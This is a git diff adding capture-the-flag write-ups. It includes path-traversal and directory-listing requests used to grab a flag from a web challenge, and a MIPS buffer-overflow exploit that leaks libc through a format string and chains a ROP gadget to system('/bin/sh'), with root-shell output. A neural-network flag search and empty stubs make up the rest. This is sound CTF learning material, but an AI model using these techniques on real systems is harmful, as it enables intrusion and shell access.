+ subprocess.run(cmd, capture_output=True)
+```
+
+This should grant code execution IF we can get a malicious filename past this check in line 145:
+```python
+if not os.path.exists(input_path):
+ return "File not found", 404
+```
+
+## extract_frames
+It uses `subprocess.run` to extract frames via ffmpeg.
+
+```python
+ cmd = [
+ 'ffmpeg', '-i', input_path,
+ '-vf', f'fps=10,scale={width}:-1:flags=lanczos,palettegen',
+ '-y', f'{output_dir}/palette.png'
+ ]
+ subprocess.run(cmd, capture_output=True)
+```
+## Strategy
+
+With /uploads we can upload a file to every path we want.
+
+
+
+So with /uploads we can upload arbitrary files.
+```http=
+POST /upload HTTP/1.1
+Host: bad-apple.tamuctf.com
+Cookie: user_id=../static/frames/test/{{7*7}}
+Content-Length: 190
+Sec-Ch-Ua-Platform: "Linux"
+User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
+Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeAEo5u9BrAwBXC9D
+Sec-Ch-Ua-Mobile: ?0
+Accept: */*
+Origin: https://bad-apple.tamuctf.com
+Sec-Fetch-Site: same-origin
+Sec-Fetch-Mode: cors
+Sec-Fetch-Dest: empty
+Referer: https://bad-apple.tamuctf.com/
+Accept-Encoding: gzip, deflate, br
+Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
+Priority: u=1, i
+Connection: keep-alive
+
+------WebKitFormBoundaryeAEo5u9BrAwBXC9D
+Content-Disposition: form-data; name="file"; filename="frame_1.png"
+Content-Type: image/png
+
+test
+
+------WebKitFormBoundaryeAEo5u9BrAwBXC9D--
+```
+And this gets rendered as one frame in the UI.
+
+
+## convert
+```http=
+GET /convert?user_id=24720472&filename=SmallFullColourGIF.gif HTTP/1.1
+Host: bad-apple.tamuctf.com
+Cookie: user_id=24720472
+Cache-Control: max-age=0
+Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
+Sec-Ch-Ua-Mobile: ?0
+Sec-Ch-Ua-Platform: "Linux"
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Sec-Fetch-Site: none
+Sec-Fetch-Mode: navigate
+Sec-Fetch-User: ?1
+Sec-Fetch-Dest: document
+Accept-Encoding: gzip, deflate, br
+Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
+Priority: u=0, i
+Connection: keep-alive
+```
+gives you
+
+```http=
+HTTP/1.1 302 FOUND
+Server: nginx/1.24.0 (Ubuntu)
+Date: Sat, 21 Mar 2026 15:24:16 GMT
+Content-Type: text/html; charset=utf-8
+Content-Length: 279
+Connection: keep-alive
+Location: /?view=SmallFullColourGIF&user_id=24720472
+
+
+
+Redirecting...
+
Redirecting...
+
You should be redirected automatically to the target URL: /?view=SmallFullColourGIF&user_id=24720472. If not, click the link.
+
+```
+
+
+
+# Endpoints
+
+Per endpoint:
+- input
+- output
+
+## /
+
+input
+- user_id
+ - not sanitized, set by cookie
+- view_gif = request.args.get('view')
+ - not sanitized, set by arg
+- view_user_id = request.args.get('view_user_id', user_id)
+ - not sanitized, set by arg
+
+
+Because of ` if f.startswith("frame_") and f.endswith(".png")` it looks like there is no file inclusion here.
+
+`render_template()` takes unsaitized `user_id` as argument. This is reflected in template, but it looks like this is not template injectable.
+
+
+## /upload
+
+inputs
+- `filename = secure_filename(file.filename)`
+ - probably secure
+- `user_id = request.cookies.get("user_id")`
+ - insecure, not sanitized, set by cookie
+- `user_dir = os.path.join(app.config["UPLOAD_FOLDER"], user_id)`
+ - might be traversable, but folder has to exist
+- `filepath = os.path.join(user_dir, filename)`
+ - might overwrite files, when dir exists??
+- `safe_name = os.path.splitext(os.path.basename(filename))[0]`
+ - no traversal here
+- `output_dir = os.path.join(FRAMES_BASE, user_id, safe_name)`
+ - might be traversable
+
+
+
+
+
+- Server error on existance: https://bad-apple.tamuctf.com/get_frames?user_id=..&gif_name=../../../../etc/hosts
+- https://bad-apple.tamuctfyp.com/get_frames?user_id=..&gif_name=../../../../etc/asdf
+
+
+## Solution
+Over /browse you can see the flag filename. With this, you can call convert.
+```
+GET /convert?user_id=admin&filename=/srv/http/uploads/admin/e017b6321bda6812ec80e9fac368709e-flag.gif HTTP/1.1
+Host: bad-apple.tamuctf.com
+Cookie: user_id=24720472
+Cache-Control: max-age=0
+Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
+Sec-Ch-Ua-Mobile: ?0
+Sec-Ch-Ua-Platform: "Linux"
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Sec-Fetch-Site: none
+Sec-Fetch-Mode: navigate
+Sec-Fetch-User: ?1
+Sec-Fetch-Dest: document
+Accept-Encoding: gzip, deflate, br
+Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
+Priority: u=0, i
+Connection: keep-alive
+```
+
+After this, go to / as user_id=admin. Now you should be able to select the flag file. The gif shows you the flag.
+
+This was only possible because, the httpd config enabled directory listing.
+```
+
+ WSGIScriptAlias / /srv/app/wsgi_app.py
+
+
+ Require all granted
+
+
+ Alias /browse /srv/http/uploads
+
+ Options +Indexes
+ DirectoryIndex disabled
+ IndexOptions FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* ShowForbidden
+ AllowOverride None
+ Require all granted
+
+
+ AuthType Basic
+ AuthName "Admin Area"
+ AuthUserFile /srv/http/.htpasswd
+ Require valid-user
+
+
+
+
+```
+
+Important is the Options +Indexes. This enables the index
\ No newline at end of file
diff --git a/challenge7-rev.md b/challenge7-rev.md
new file mode 100644
index 0000000..b5c37e4
--- /dev/null
+++ b/challenge7-rev.md
@@ -0,0 +1,2 @@
+# challenge7 - rev
+
diff --git a/decreasing-misc.md b/decreasing-misc.md
new file mode 100644
index 0000000..b1dd5b9
--- /dev/null
+++ b/decreasing-misc.md
@@ -0,0 +1,2 @@
+# decreasing - misc
+
diff --git a/hyper-neighbor-rev.md b/hyper-neighbor-rev.md
new file mode 100644
index 0000000..39effb1
--- /dev/null
+++ b/hyper-neighbor-rev.md
@@ -0,0 +1,2 @@
+# hyper-neighbor - rev
+
diff --git a/meep-pwn.md b/meep-pwn.md
new file mode 100644
index 0000000..a249a25
--- /dev/null
+++ b/meep-pwn.md
@@ -0,0 +1,139 @@
+# meep - pwn
+fridgebuyer
+
+/meep ❯ file meep
+```
+meep: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, BuildID[sha1]=140b4551e8ece2ef8f59a9b207d175713dc18e8f, for GNU/Linux 3.2.0, with debug_info, not stripped
+```
+
+/meep ❯ r2 -q -c 'aaa; afl' meep
+```
+0x004008a8 5 336 dbg.diagnostics
+0x004009f8 1 208 dbg.greet
+0x00400ac8 10 692 dbg.main
+```
+
+/meep ❯ r2 -q -e bin.relocs.apply=true -c "aaa; pdf @dbg.**greet**" meep
+```
+│ 0x00400a4c 27c2001c addiu v0, fp, 0x1c ; meep.c:43:5
+│ 0x00400a50 00003825 move a3, zero
+│ 0x00400a54 24060100 addiu a2, zero, 0x100 ; arg3
+│ 0x00400a58 00402825 move a1, v0
+│ 0x00400a5c 00002025 move a0, zero
+│ 0x00400a60 8f828034 lw v0, -sym.imp.recv(gp)
+│ 0x00400a64 0040c825 move t9, v0
+│ 0x00400a68 0320f809 jalr t9
+│ ...
+│ 0x00400a90 27c2001c addiu v0, fp, 0x1c ; meep.c:46:5
+│ 0x00400a94 00402025 move a0, v0
+│ 0x00400a98 8f828068 lw v0, -sym.imp.printf(gp)
+│ 0x00400a9c 0040c825 move t9, v0
+│ 0x00400aa0 0320f809 jalr t9
+```
+
+0x100 -- sym.imp.recv reads 256 bytes into buf@fp+0x1c
+sym.imp.printf(gp) -- format string
+
+/meep ❯ r2 -q -c 'pdf @dbg.**diagnostics**' meep
+```
+│ 0x004008d0 27c20018 addiu v0, fp, 0x18 ; meep.c:19:20
+│ ...
+│ 0x0040090c 24060100 addiu a2, zero, 0x100 ; arg3
+│ 0x00400910 27c20018 addiu v0, fp, 0x18
+│ 0x00400914 00402825 move a1, v0
+│ 0x00400918 00002025 move a0, zero
+│ 0x0040091c 8f828034 lw v0, -sym.imp.recv(gp)
+│ 0x00400920 0040c825 move t9, v0
+│ 0x00400924 0320f809 jalr t9
+│ ...
+│ 0x004009dc 8fbf00a4 lw ra, (var_a4h)
+│ 0x004009e0 8fbe00a0 lw fp, (var_a0h)
+│ 0x004009e4 8fb1009c lw s1, (var_9ch)
+│ 0x004009e8 8fb00098 lw s0, (var_98h)
+│ 0x004009ec 27bd00a8 addiu sp, sp, 0xa8
+│ 0x004009f0 03e00008 jr ra
+```
+
+0x100 — reads 256 bytes into fp+0x18
+ra loaded from fp+0xa4, then jr ra
+buf to ra = 0xa4 - 0x18 = 0x8c = 140 bytes, recv reads 256 -- overflow
+s0 (fp+0x98), s1 (fp+0x9c), fp (fp+0xa0) rewriteable
+
+/meep ❯ readelf --dyn-syms meep | grep puts
+```
+18: 00000000 FUNC UND puts@GLIBC_2.0
+```
+- GOT entry at 0x411078
+- this is passed to greet func as "logger"
+- greet func stores it on the stack at fp+0x18
+- printf's 6th arg
+
+so we can leak puts via %6$p
+
+meep ❯ nohup qemu-mips -L ./sysroot ./meep > /dev/null 2>&1
+...
+meep ❯ echo '%p.%p.%p.%p.%p.%p' | nc -w2 127.0.0.1 9001
+```Enter admin name:
+Hello:
+
+(nil).0x1.(nil).0x419020.0x7.0x2b37d3b0
++*Enter diagnostic command:
+```
+
+
+/meep ❯ readelf -s lib-mips/libc.so.6 | grep -E ' puts| system'
+
+```
+puts: 0x0007d3b0
+system: 0x000536e8
+```
+
+
+so offsets:
+- libc_base = leaked_puts - 0x7d3b0
+- system = libc_base + 0x536e8
+
+/meep ❯ strings -t x lib-mips/libc.so.6 | grep /bin/sh
+```
+1ba178 /bin/sh
+```
+- string "/bin/sh" is at 0x1ba178 in libc
+- we can refer to libc_base + 0x1ba178 for system("/bin/sh") argument
+
+/meep ❯ ROPgadget --binary lib-mips/libc.so.6 | grep '^.* : move \$t9, \$s1 ; jalr \$t9 ; move \$a0, \$s0$'
+```
+0x00027488 : move $t9, $s1 ; jalr $t9 ; move $a0, $s0
+```
+- https://devblogs.microsoft.com/oldnewthing/20180412-00/?p=98495
+- https://www.pagetable.com/?p=313
+- copy s1 into t9, we control s1 via overflow
+- jump to t9 (system func)
+- delay slot: copy s0 into a0 ("/bin/sh" string addr)
+
+### sol
+- Send `%6$p\n`
+- leak puts addr: `libc_base = puts - 0x7d3b0`
+
+```python
+payload = b'A'*0x80 # pad to s0
+payload += p32(libc_base + 0x1ba178) # s0 → "/bin/sh"
+payload += p32(libc_base + 0x536e8) # s1 → system()
+payload += p32(0x41414141) # fp
+payload += p32(libc_base + 0x27488) # ra → gadget
+```
+- Gadget: `a0="/bin/sh"`, `jalr system()` gives shell
+
+
+/meep ❯ python3 sol.py remote
+```
+...
+[+] Leaked puts: 0x2b7bd3b0
+[+] libc base: 0x2b740000
+[+] Shell response: uid=1000 ...
+...
+```
+$ .
+```uid=0(root) gid=0(root) groups=0(root)```
+
+$ cat /home/flag.txt
+**gigem{m33p_m1p_1_n33d_4_m4p}**
diff --git a/military-system-pwn.md b/military-system-pwn.md
new file mode 100644
index 0000000..97fe29d
--- /dev/null
+++ b/military-system-pwn.md
@@ -0,0 +1,2 @@
+# military-system - pwn
+
diff --git a/pittrap-misc.md b/pittrap-misc.md
new file mode 100644
index 0000000..d644a6f
--- /dev/null
+++ b/pittrap-misc.md
@@ -0,0 +1,203 @@
+# pittrap - misc
+
+The challenge contains a onnx file for a neural network.
+
+The input layer accepts a vector of length 48, with vocab_size 256. This indicates the input is a 48-character string, which is tokenized by `[ord(i) for i in inp]`. The output is a single score.
+
+
+
+
+## Code to apply the network to an input
+
+```python=
+import onnx
+
+onnx_model = onnx.load(ONNX_FILE_PATH)
+onnx.checker.check_model(onnx_model)
+print(onnx_model)
+inp = None
+
+# Write code here to apply the model on the input
+# out = ???
+import numpy as np
+from onnx.reference import ReferenceEvaluator
+
+# int64 token ids, shape (batch_size, 48); input name must be "input_ids"
+inp = np.zeros((1, 48), dtype=np.int64)
+
+sess = ReferenceEvaluator(onnx_model)
+out = sess.run(None, {"input_ids": inp})
+score = out[0]
+print(score)
+```
+
+Then I tried a gradient ascent approach to find the input the leads to the maximum score. The input was the flag.
+
+```python=
+import numpy as np
+import torch
+import torch.nn as nn
+import torch.nn.functional as F
+from onnx import numpy_helper
+from onnx.reference import ReferenceEvaluator
+
+# Target format: gigem{just__max_and_u'll_be_fine}
+PREFIX = "gigem{"
+SUFFIX = "}"
+ALPHABET = "abcdefghijklmnopqrstuvwxyz0123456789_"
+
+# Only the middle is unknown. Restricting it to a plausible alphabet avoids
+# the optimizer getting stuck in high-scoring non-ASCII byte values.
+n_inner = 48 - len(PREFIX) - len(SUFFIX)
+n_pad = 48 - (len(PREFIX) + n_inner + len(SUFFIX))
+assert n_pad >= 0 and n_inner > 0
+
+weights = {init.name: numpy_helper.to_array(init).copy() for init in onnx_model.graph.initializer}
+
+
+class GigemTorch(nn.Module):
+ def __init__(self):
+ super().__init__()
+ self.register_buffer("embed_mat", torch.from_numpy(weights["embed.weight"]))
+ self.conv = nn.Conv1d(64, 128, kernel_size=3, padding=2, dilation=2)
+ self.fc1 = nn.Linear(6144, 64)
+ self.fc2 = nn.Linear(64, 1)
+ self.conv.weight.data.copy_(torch.from_numpy(weights["conv.weight"]))
+ self.conv.bias.data.copy_(torch.from_numpy(weights["conv.bias"]))
+ self.fc1.weight.data.copy_(torch.from_numpy(weights["fc1.weight"]))
+ self.fc1.bias.data.copy_(torch.from_numpy(weights["fc1.bias"]))
+ self.fc2.weight.data.copy_(torch.from_numpy(weights["fc2.weight"]))
+ self.fc2.bias.data.copy_(torch.from_numpy(weights["fc2.bias"]))
+
+ def forward_soft(self, probs):
+ x = torch.einsum("blv,vh->blh", probs, self.embed_mat)
+ x = x.permute(0, 2, 1)
+ x = self.conv(x)
+ x = F.gelu(x)
+ x = x.flatten(1)
+ x = self.fc1(x)
+ x = F.gelu(x)
+ x = self.fc2(x)
+ return x.squeeze(-1)
+
+
+def chars_to_onehot_row(device, c):
+ v = ord(c) & 0xFF
+ return F.one_hot(torch.tensor([v], device=device, dtype=torch.long), 256).float()
+
+
+def build_probs_from_middle_allowed(middle_allowed_probs, allowed_ids, device):
+ batch_size = middle_allowed_probs.shape[0]
+ middle = torch.zeros(batch_size, n_inner, 256, device=device)
+ middle.scatter_(2, allowed_ids.view(1, 1, -1).expand(batch_size, n_inner, -1), middle_allowed_probs)
+
+ blocks = []
+ if n_pad > 0:
+ pad = torch.zeros(batch_size, n_pad, 256, device=device)
+ pad[:, :, 0] = 1.0
+ blocks.append(pad)
+ for c in PREFIX:
+ blocks.append(chars_to_onehot_row(device, c).unsqueeze(0).expand(batch_size, -1, -1))
+ blocks.append(middle)
+ for c in SUFFIX:
+ blocks.append(chars_to_onehot_row(device, c).unsqueeze(0).expand(batch_size, -1, -1))
+ return torch.cat(blocks, dim=1)
+
+
+def ids_from_middle_indices(middle_indices, allowed_ids):
+ middle_ids = allowed_ids[middle_indices].detach().cpu().numpy()[0]
+ token_ids = [0] * n_pad
+ token_ids.extend(ord(c) & 0xFF for c in PREFIX)
+ token_ids.extend(int(x) for x in middle_ids)
+ token_ids.extend(ord(c) & 0xFF for c in SUFFIX)
+ return np.array(token_ids, dtype=np.int64)
+
+
+def score_ids(model, token_ids, device):
+ token_tensor = torch.tensor(token_ids, dtype=torch.long, device=device).unsqueeze(0)
+ one_hot = F.one_hot(token_tensor, 256).float()
+ return float(model.forward_soft(one_hot).item())
+
+
+device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
+model = GigemTorch().to(device)
+allowed_ids = torch.tensor([ord(c) for c in ALPHABET], dtype=torch.long, device=device)
+
+restarts = 6
+steps = 1000
+best_score = float("-inf")
+best_ids = None
+
+for restart in range(restarts):
+ logits_inner = torch.randn(1, n_inner, len(ALPHABET), device=device) * 0.01
+ logits_inner.requires_grad_(True)
+ opt = torch.optim.Adam([logits_inner], lr=0.2)
+
+ for step in range(steps):
+ tau = max(0.25, 2.5 * (0.992 ** step))
+ probs_inner = F.softmax(logits_inner / tau, dim=-1)
+ probs = build_probs_from_middle_allowed(probs_inner, allowed_ids, device)
+ soft_score = model.forward_soft(probs)
+ entropy = -(probs_inner * probs_inner.clamp_min(1e-9).log()).sum(dim=-1).mean()
+ loss = -soft_score + 0.02 * tau * entropy
+
+ opt.zero_grad()
+ loss.backward()
+ torch.nn.utils.clip_grad_norm_([logits_inner], max_norm=5.0)
+ opt.step()
+
+ if step % 100 == 0 or step == steps - 1:
+ with torch.no_grad():
+ hard_idx = logits_inner.argmax(dim=-1)
+ token_ids = ids_from_middle_indices(hard_idx, allowed_ids)
+ hard_score = score_ids(model, token_ids, device)
+ guess_str = "".join(chr(int(t)) for t in token_ids)
+ if hard_score > best_score:
+ best_score = hard_score
+ best_ids = token_ids.copy()
+ print(
+ f"restart {restart} step {step:4d} tau={tau:.3f} soft={soft_score.item():.4f} discrete={hard_score:.4f} guess={guess_str!r}"
+ )
+
+# Greedy coordinate refinement over the discrete candidate.
+# This fixes the usual softmax-relaxation issue where argmax is close but not exact.
+charset_ids = [ord(c) for c in ALPHABET]
+for refine_round in range(10):
+ improved = False
+ for pos in range(n_pad + len(PREFIX), n_pad + len(PREFIX) + n_inner):
+ current = best_ids[pos]
+ local_best = best_score
+ local_char = current
+ for cand in charset_ids:
+ if cand == current:
+ continue
+ trial = best_ids.copy()
+ trial[pos] = cand
+ trial_score = score_ids(model, trial, device)
+ if trial_score > local_best:
+ local_best = trial_score
+ local_char = cand
+ if local_char != current:
+ best_ids[pos] = local_char
+ best_score = local_best
+ improved = True
+ print(f"refine round {refine_round}: score={best_score:.4f} guess={''.join(chr(int(t)) for t in best_ids)!r}")
+ if not improved:
+ break
+
+middle = "".join(
+ chr(int(i))
+ for i in best_ids[n_pad + len(PREFIX) : n_pad + len(PREFIX) + n_inner]
+)
+flag_only = PREFIX + middle + SUFFIX
+padded_visual = "".join(chr(int(i)) for i in best_ids)
+print("n_pad, n_inner:", n_pad, n_inner)
+print("middle:", repr(middle))
+print("flag:", repr(flag_only))
+print("full 48 (repr):", repr(padded_visual))
+
+sess = ReferenceEvaluator(onnx_model)
+onnx_score = sess.run(None, {"input_ids": best_ids.reshape(1, -1).astype(np.int64)})[0]
+print("ONNX score (discrete):", onnx_score)
+
+```
\ No newline at end of file
diff --git a/skretch-rev.md b/skretch-rev.md
new file mode 100644
index 0000000..f17575b
--- /dev/null
+++ b/skretch-rev.md
@@ -0,0 +1,2 @@
+# skretch - rev
+
diff --git a/zagjail-pwn.md b/zagjail-pwn.md
new file mode 100644
index 0000000..5eb3e8b
--- /dev/null
+++ b/zagjail-pwn.md
@@ -0,0 +1,2 @@
+# zagjail - pwn
+